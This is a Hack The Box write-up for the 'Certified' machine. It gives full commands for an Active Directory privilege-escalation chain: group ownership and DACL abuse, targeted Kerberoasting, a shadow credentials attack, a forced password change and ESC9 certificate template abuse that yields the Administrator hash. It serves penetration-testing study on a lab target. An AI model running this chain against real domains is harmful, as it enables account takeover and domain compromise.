TryHackMeHackTheBoxLinkedIn

Certified

Created by ruycr4ft

LogoHack The Boxapp.hackthebox.com

The following post by 0xb0b is licensed under CC BY 4.0

Summary

We started with an Nmap scan revealing typical Active Directory services, then used the provided credentials for judith.mader to gather AD relationships with BloodHound. Judith had WriteOwner permissions on the Management group, allowing us to take ownership and grant GenericWrite over the management_svc user. We successfully performed a shadow credential attack to retrieve the NT hash and gain a shell with evil-winrm. We escalated to the ca_operator account using GenericAll permissions, changed the password, and exploited an ESC9 misconfiguration in the certificate template to obtain the Administrator hash and gain a shell as Administrator with evil-winrm.

Recon

We start with a Nmap scan which revealed multiple services typical of an Active Directory environment, including DNS (53), Kerberos (88), SMB (445), LDAP (389, 636), and Global Catalog (3268, 3269). 

nmap -p- certified.htb -Pn
nmap -p 53,88,135,139,389,445,593,636,3268,3269,49666,49677,49678,49681,49708,49731 -sC -sV certified.htb -T4 -Pn

We have received additional credentials for the machine:

As is common in real life Windows pentests, you will start the Certified box with credentials for the following account: judith.mader:judith09

We are using bloodhound-python to gather and map Active Directory relationships and permissions on the certified.htb domain, authenticating as judith.mader to identify privilege escalation paths.

bloodhound-python -d certified.htb -c All -u 'judith.mader' -p 'judith09' -ns 10.129.68.162 --dns-tcp

We see that judith.mader WriteOwner has permissions on the Management group.

WriteOwner Permissions:

LogoGrant ownership | The Hacker Recipeswww.thehacker.recipes

With that we can update the owner of the target object. Since we have credentials for judith.mader we could grant us ownership over the group Management and add the account to the group.

We also see that the Management group has permissions on the GenericWrite user. This means that if we have control of the group, we can perform either a targeted Kerberoast attack or a shadow credential attack on the management_svc user granting us the hash of the user.

The user management_svc, on the other hand, has CanPSRemote permissions, which would allow us to access the machine with evilwin-rm if we compromised the user.

Shell As management_svc

We implement the analysed attack path.

WriteOwner Abuse

First we add judith.mader as owner to Management group.

owneredit.py -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'

Since we now own the group, we can now give the user permission to add members via dacledit

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'

After that we add judith.mader as member to the Management group.

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.68.162"

GenericWrite Abuse

As the user is now part of the group, we can abuse the GenericWrite permission on the management_svc user, which the Management group has. First we will try a targeted Kerberoast attack. See below links for further reading:

LogoTargeted Kerberoasting | The Hacker Recipeswww.thehacker.recipes
LogoGitHub - ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilitiesGitHub

We are able to get the Kerberos 5, etype 23, TGS-REP hash of the management_svc user. However, we cannot crack it.

./targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09' --request-user MANAGEMENT_SVC

Next, we try the shadow credential attack using certipy.

LogoGitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub

Further information on the shadow credential attack can be found under the following link:

LogoShadow Credentials: Abusing Key Trust Account Mapping for TakeoverMedium

But in short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.

With the following command we issue the attack and are succesful. We retrieve the NT hash of management_svc.

certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account 'MANAGEMENT_SVC' -dc-ip 10.129.68.162

We use that hash to log in as management_svc via evil-winrm and find the flag at C:\Users\management_svc\Desktop\user.txt.

evil-winrm -i certified.htb -u management_svc -H 'REDACTED'

Shell as Administrator

Since the machine is called Certified, we have tested for vulnerabilities on certificate templates with each user we have access to using certipy. However, the user management_svc also does not have any templates that are vulnerable and can be used by the user.

certipy-ad find -u management_svc@certified.htb -hashes ':REDACTED' -dc-ip 10.129.68.162 -vulnerable

We look at our Bloodhound results again and see that we have GenericAll permissions over the user CA_Operator as management_svc.

This allows us to change the user's password.

LogoForceChangePassword | The Hacker Recipeswww.thehacker.recipes

We use bloodyAD for this.

LogoGitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation FrameworkGitHub

We change the password.

./bloodyAD.py -d certified.htb -u management_svc -p ":REDACTED" --host 10.129.68.162 set password ca_operator 'newP@ssword2022'

Now we are able to query for vulnerable templates as ca_operator.

certipy-ad find -u ca_operator@certified.htb -p 'newP@ssword2022' -dc-ip 10.129.68.162 -vulnerable

An we spot one:

┌──(0xb0b㉿kali)-[~/Documents/htb-app/certified/bloodyAD]
└─$ cat 20250315144904_Certipy.txt                                                                    
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

The CertifiedAuthentication template is vulnerable to ESC9.

[!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

For further reading on ESC9 we can follow the link below:

LogoCertipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!Medium

ESC9 refers to the new msPKI-Enrollment-Flag value CT_FLAG_NO_SECURITY_EXTENSION (0x80000). If this flag is set on a certificate template, the new szOID_NTDS_CA_SECURITY_EXT security extension will not be embedded. ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

To abuse this misconfiguration, the attacker needs GenericWrite over any account A that is allowed to enroll in the certificate template to compromise account B (target).

ESC9

Conditions:

  • StrongCertificateBindingEnforcement set to 1 (default) or 0

  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value

  • Certificate specifies any client authentication EKU

Requisites:

  • GenericWrite over any account A to compromise any account B

ESC9

We follow the example of https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 and update account management_svc with upn pointing to Administrator.

certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator

Then we request vulnerable template, but receive an error. This might be cause by the password, since with a different it worked.

We change the password for ca_operator again.

python bloodyAD.py --host "certified.htb" -d certified.htb -u management_svc -p :REDACTED set password ca_operator 'Password123@'

Below are the steps to abuse ESC9:

We change the userPrincipalName of ca_operator to be Administrator. 

certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator

We request the vulnerable certificate template CertifiedAuthentication (ESC9).

certipy-ad req -username ca_operator@certified.htb -p 'Password123@' -ca certified-DC01-CA -template CertifiedAuthentication

Then, we change back the userPrincipalName of ca_operator back to ca_operator.

certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn ca_operator@certified.htb

Now, if we try to authenticate with the certificate, we will receive the NT hash of the Administrator@certified.htb user. We need to add -domain certified.htb to our command since there is no domain specified in the certificate. We receive the Administrators hash.

certipy-ad auth -pfx administrator.pfx -domain certified.htb

We use the Administrators NT hash to log in via evil-winrm and find the final flag at C:\Users\Administrator\Desktop\root.txt.

evil-winrm -i certified.htb -u Administrator -H 'REDACTED'
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